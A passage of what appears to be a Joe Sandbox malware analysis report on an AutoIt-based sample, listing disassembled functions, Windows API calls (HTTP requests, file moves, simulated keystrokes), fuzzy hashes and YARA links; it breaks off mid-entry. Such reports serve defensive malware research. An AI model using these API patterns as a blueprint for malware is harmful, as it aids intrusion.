                                                                                                                                                  • Instruction ID: cc9e6972dbc5209964c20f0f7d1f7455a13934f6c555fd98bc0bf92a0502fb90
                                                                                                                                                  • Opcode Fuzzy Hash: 94d1ddb87e9fdddd1f0eb85761e890ae026325719f266e56d7856026e6b64315
                                                                                                                                                  • Instruction Fuzzy Hash: F7014FB2A543447AE620EB549D06FFB365CABC4B01F444C1EB794A60C0AAF865548BBA
                                                                                                                                                  Function 00456168 Relevance: 13.7, APIs: 9, Instructions: 181COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID:
                                                                                                                                                  • Opcode ID: b00adbc1ea9d53563bb8a7982d93c3fa4b8356126e06b3aad1cc727703ca6f1a
                                                                                                                                                  • Instruction ID: 20732dcab93056f759d0b04a6df1a57780e33876730225f1fefd21ccf2a16f59
                                                                                                                                                  • Opcode Fuzzy Hash: b00adbc1ea9d53563bb8a7982d93c3fa4b8356126e06b3aad1cc727703ca6f1a
                                                                                                                                                  • Instruction Fuzzy Hash: 36519070200301ABD320DF29CC85F5BB7E8EB48715F540A1EF995E7292D7B4E949CB29
                                                                                                                                                  Function 004534EB Relevance: 13.6, APIs: 9, Instructions: 150filestringCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\UNGSno5k4G.exe,?,C:\Users\user\Desktop\UNGSno5k4G.exe,004A8E80,C:\Users\user\Desktop\UNGSno5k4G.exe,0040F3D2), ref: 0040FFCA
                                                                                                                                                    • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                                                                                                                                                  • lstrcmpiW.KERNEL32(?,?), ref: 0045355E
                                                                                                                                                  • MoveFileW.KERNEL32(?,?), ref: 0045358E
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: File$AttributesFullMoveNamePathlstrcmpi
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 978794511-0
                                                                                                                                                  • Opcode ID: 905b41a6b5f1f1e7811aa1c06e555ad1605d40905c9a381d53b63ac73f12040d
                                                                                                                                                  • Instruction ID: dcad70f49e32ae1adaf0c812d378eb0bba467e0a617048934f4a65f03e3a0b24
                                                                                                                                                  • Opcode Fuzzy Hash: 905b41a6b5f1f1e7811aa1c06e555ad1605d40905c9a381d53b63ac73f12040d
                                                                                                                                                  • Instruction Fuzzy Hash: 665162B25043406AC724EF61D885ADFB3E8AFC8305F44992EB94992151E73DD34DC767
                                                                                                                                                  Function 004417BC Relevance: 13.6, APIs: 9, Instructions: 142COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID:
                                                                                                                                                  • Opcode ID: 2697ea5a26a9fc7488a3d070abad83f7d669ddccf749f4bfc66ff3ac1f4b4023
                                                                                                                                                  • Instruction ID: b1e2397247e50d0c7000acf5a2db8631a214b417b603bec0598d849dd48054e0
                                                                                                                                                  • Opcode Fuzzy Hash: 2697ea5a26a9fc7488a3d070abad83f7d669ddccf749f4bfc66ff3ac1f4b4023
                                                                                                                                                  • Instruction Fuzzy Hash: E54128332402806BE320A75DB8C4ABBFB98E7A2362F50443FF18196520D76678C5D339
                                                                                                                                                  Function 00445CF9 Relevance: 13.6, APIs: 9, Instructions: 69sleepkeyboardwindowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 0044593E: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 0044595D
                                                                                                                                                    • Part of subcall function 0044593E: GetCurrentThreadId.KERNEL32 ref: 00445964
                                                                                                                                                    • Part of subcall function 0044593E: AttachThreadInput.USER32(00000000,?,00000001,00478FA7), ref: 0044596B
                                                                                                                                                  • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D15
                                                                                                                                                  • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00445D35
                                                                                                                                                  • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 00445D3F
                                                                                                                                                  • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D45
                                                                                                                                                  • PostMessageW.USER32(00000000,00000100,00000027,00000000), ref: 00445D66
                                                                                                                                                  • Sleep.KERNEL32(00000000), ref: 00445D70
                                                                                                                                                  • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D76
                                                                                                                                                  • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00445D8B
                                                                                                                                                  • Sleep.KERNEL32(00000000,?,00000101,00000027,00000000), ref: 00445D8F
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2014098862-0
                                                                                                                                                  • Opcode ID: 621277f82d70151dd5f553487d646ea3797e8fa9e9e6e4ab5ab83039983e6254
                                                                                                                                                  • Instruction ID: b085f3065cf9cd100f04f322da00d4b037e108fc79bf5967fdabce1cd6d2e74b
                                                                                                                                                  • Opcode Fuzzy Hash: 621277f82d70151dd5f553487d646ea3797e8fa9e9e6e4ab5ab83039983e6254
                                                                                                                                                  • Instruction Fuzzy Hash: 7B116971790704B7F620AB958C8AF5A7399EF88B11F20080DF790AB1C1C9F5E4418B7C
                                                                                                                                                  Function 0047B1D0 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 489COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 0-2594219639
                                                                                                                                                  • Opcode ID: c82efa3070467c2623ec738b5b2be2cd760763614a3dd1863134219050ad48d5
                                                                                                                                                  • Instruction ID: be39947db1ffbcb7075193c31d102fc15fe4f6af8d23ce90efbce3d2b6a77a88
                                                                                                                                                  • Opcode Fuzzy Hash: c82efa3070467c2623ec738b5b2be2cd760763614a3dd1863134219050ad48d5
                                                                                                                                                  • Instruction Fuzzy Hash: 4BF16D71108740AFD210DB59C880EABB7F9EFCA744F10891EF69983261D735AC45CBAA
                                                                                                                                                  Function 0045427D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 259libraryloaderCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: AddressProc_malloc$_strcat_strlen
                                                                                                                                                  • String ID: AU3_FreeVar
                                                                                                                                                  • API String ID: 2184576858-771828931
                                                                                                                                                  • Opcode ID: 10d9e78008ba5b5703de8dc23ed72c3cd296113dc033390a1be7ca980e1f1503
                                                                                                                                                  • Instruction ID: c940ad03d776ce5ee908f8b881b33357b51647545ffc53e819ca791e1fdac2da
                                                                                                                                                  • Opcode Fuzzy Hash: 10d9e78008ba5b5703de8dc23ed72c3cd296113dc033390a1be7ca980e1f1503
                                                                                                                                                  • Instruction Fuzzy Hash: EDA18DB5604205DFC300DF59C480A2AB7E5FFC8319F1489AEE9554B362D739ED89CB8A
                                                                                                                                                  Function 00401D10 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 235COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00401D5A
                                                                                                                                                  • DestroyWindow.USER32(?), ref: 0042A751
                                                                                                                                                  • UnregisterHotKey.USER32(?), ref: 0042A778
                                                                                                                                                  • FreeLibrary.KERNEL32(?), ref: 0042A822
                                                                                                                                                  • VirtualFree.KERNEL32(?,00000000,00008000), ref: 0042A854
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Free$DestroyLibrarySendStringUnregisterVirtualWindow
                                                                                                                                                  • String ID: close all
                                                                                                                                                  • API String ID: 4174999648-3243417748
                                                                                                                                                  • Opcode ID: 9f9deb73285226e6ba240568d142da5fec9cf520cd27fc9a3a2cacaca98377aa
                                                                                                                                                  • Instruction ID: e23b5dd52123a376b0379481fe8be5d2f02d07e70979f80a1c72d587d5a24a2c
                                                                                                                                                  • Opcode Fuzzy Hash: 9f9deb73285226e6ba240568d142da5fec9cf520cd27fc9a3a2cacaca98377aa
                                                                                                                                                  • Instruction Fuzzy Hash: FFA17075A102248FCB20EF55CC85B9AB3B8BF44304F5044EEE90967291D779AE85CF9D
                                                                                                                                                  Function 0044AA1F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 171networkCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0044AA5A
                                                                                                                                                  • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0044AA8D
                                                                                                                                                  • InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 0044AAF9
                                                                                                                                                  • InternetSetOptionW.WININET(00000000,0000001F,?,00000004), ref: 0044AB11
                                                                                                                                                  • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044AB20
                                                                                                                                                  • HttpQueryInfoW.WININET(00000000,00000005,?,00000000,00000000), ref: 0044AB61
                                                                                                                                                    • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: HttpInternet$OptionQueryRequest$ConnectErrorInfoLastOpenSend
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 1291720006-3916222277
                                                                                                                                                  • Opcode ID: fd0d9a71f1b9f9aed2e07c44adb1cce69882d59a8a6dee97d1abd644e851efd9
                                                                                                                                                  • Instruction ID: 782b6278bf246bef60821ca34847c3ce69a0d92f774604c9678bedd135ce19ea
                                                                                                                                                  • Opcode Fuzzy Hash: fd0d9a71f1b9f9aed2e07c44adb1cce69882d59a8a6dee97d1abd644e851efd9
                                                                                                                                                  • Instruction Fuzzy Hash: 9C51E6B12803016BF320EB65CD85FBBB7A8FB89704F00091EF74196181D7B9A548C76A
                                                                                                                                                  Function 0046BB59 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 168networkCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ErrorLastselect
                                                                                                                                                  • String ID: HH
                                                                                                                                                  • API String ID: 215497628-2761332787
                                                                                                                                                  • Opcode ID: 3d89cdb4518712ce7d497f90f16eabf25f5dd16b03f437b50de1b9ff930cdf67
                                                                                                                                                  • Instruction ID: a252b81ccbce03d1e7b1b0efababa2c0a0929072778302a7b1202b90a7697d70
                                                                                                                                                  • Opcode Fuzzy Hash: 3d89cdb4518712ce7d497f90f16eabf25f5dd16b03f437b50de1b9ff930cdf67
                                                                                                                                                  • Instruction Fuzzy Hash: BF51E4726043005BD320EB65DC42F9BB399EB94324F044A2EF558E7281EB79E944C7AA
                                                                                                                                                  Function 0047D2F8 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 162COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: __snwprintf__wcsicoll_wcscpy
                                                                                                                                                  • String ID: , $$0vH$AUTOITCALLVARIABLE%d$CALLARGARRAY
                                                                                                                                                  • API String ID: 1729044348-3708979750
                                                                                                                                                  • Opcode ID: 19d8c814bf70bb05cadf871115a188aa6336bc7b5c41e4e48777219efcb9f973
                                                                                                                                                  • Instruction ID: 823d0c4529048d9f890bbf28e75db1a658c609af9319d28fcdda535ef0d13f31
                                                                                                                                                  • Opcode Fuzzy Hash: 19d8c814bf70bb05cadf871115a188aa6336bc7b5c41e4e48777219efcb9f973
                                                                                                                                                  • Instruction Fuzzy Hash: E651A571514300ABD610EF65C882ADFB3A4EFC4348F048D2FF54967291D779E949CBAA
                                                                                                                                                  Function 00441077 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 111windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • ShowWindow.USER32(?,00000000,?,?,?,?,00448962,004A83D8,?,?), ref: 004410F9
                                                                                                                                                  • EnableWindow.USER32(?,00000000), ref: 0044111A
                                                                                                                                                  • ShowWindow.USER32(?,00000000,?,?,?,?,00448962,004A83D8,?,?), ref: 00441183
                                                                                                                                                  • ShowWindow.USER32(?,00000004,?,?,?,00448962,004A83D8,?,?), ref: 00441192
                                                                                                                                                  • EnableWindow.USER32(?,00000001), ref: 004411B3
                                                                                                                                                  • SendMessageW.USER32(?,0000130C,?,00000000), ref: 004411D5
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Window$Show$Enable$MessageSend
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 642888154-2594219639
                                                                                                                                                  • Opcode ID: c853c7407bbaf9010c68549c691492fdcd401e5b0cb22aeb5446aebbed6f20c9
                                                                                                                                                  • Instruction ID: 824eeaafe1f931a994963cd163acc5b0ce47b26168a6fd4ee38d593e4569daee
                                                                                                                                                  • Opcode Fuzzy Hash: c853c7407bbaf9010c68549c691492fdcd401e5b0cb22aeb5446aebbed6f20c9
                                                                                                                                                  • Instruction Fuzzy Hash: 14417770604245DFE725CF14C984FA6B7E5BF89300F1886AEE6859B3B2CB74A881CB55
                                                                                                                                                  Function 00449063 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 108windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32(00000000,00001024,00000000,?), ref: 004490E3
                                                                                                                                                  • SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004490F8
                                                                                                                                                  • SendMessageW.USER32(00000000,0000111E,00000000,?), ref: 0044910D
                                                                                                                                                  • InvalidateRect.USER32(?,00000000,00000001), ref: 00449124
                                                                                                                                                  • GetWindowLongW.USER32(00000000,000000F0), ref: 0044912F
                                                                                                                                                  • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 0044913C
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend$LongWindow$InvalidateRect
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 1976402638-2594219639
                                                                                                                                                  • Opcode ID: 2b574cf222373ea94a5f8b1e2da5d15417ee742d7ff148607d59a4e94613559a
                                                                                                                                                  • Instruction ID: 8b80d2acd15126bdfc8b54909556444574c0e56a9806921f1e0b477f33817628
                                                                                                                                                  • Opcode Fuzzy Hash: 2b574cf222373ea94a5f8b1e2da5d15417ee742d7ff148607d59a4e94613559a
                                                                                                                                                  • Instruction Fuzzy Hash: F231B476244202AFF224DF04DC89FBBB7A9F785321F14492EF291973D0CA75AC469729
                                                                                                                                                  Function 0044BBC9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100filestringCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\UNGSno5k4G.exe,?,C:\Users\user\Desktop\UNGSno5k4G.exe,004A8E80,C:\Users\user\Desktop\UNGSno5k4G.exe,0040F3D2), ref: 0040FFCA
                                                                                                                                                  • lstrcmpiW.KERNEL32(?,?), ref: 0044BC04
                                                                                                                                                  • MoveFileW.KERNEL32(?,?), ref: 0044BC38
                                                                                                                                                  • _wcscat.LIBCMT ref: 0044BCAA
                                                                                                                                                  • _wcslen.LIBCMT ref: 0044BCB7
                                                                                                                                                  • _wcslen.LIBCMT ref: 0044BCCB
                                                                                                                                                  • SHFileOperationW.SHELL32 ref: 0044BD16
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: File_wcslen$FullMoveNameOperationPath_wcscatlstrcmpi
                                                                                                                                                  • String ID: \*.*
                                                                                                                                                  • API String ID: 2326526234-1173974218
                                                                                                                                                  • Opcode ID: 79917c867e5dc746cbfe3ebb0135d92afbab4952e7fca4f485a184e9ce72b521
                                                                                                                                                  • Instruction ID: 9e4979448571685848097db6772507fbfe8bfb8d1337cd0032b1ea927bdad9db
                                                                                                                                                  • Opcode Fuzzy Hash: 79917c867e5dc746cbfe3ebb0135d92afbab4952e7fca4f485a184e9ce72b521
                                                                                                                                                  • Instruction Fuzzy Hash: 4B3183B14083019AD724EF21C5D5ADFB3E4EFC8304F444D6EB98993251EB39E608D7AA
                                                                                                                                                  Function 00448851 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 92windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SendMessageW.USER32(?,000000F1,?,00000000), ref: 0044886C
                                                                                                                                                  • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                                                                                  • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                                                                                  • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                                                                                  • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                                                                                  • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
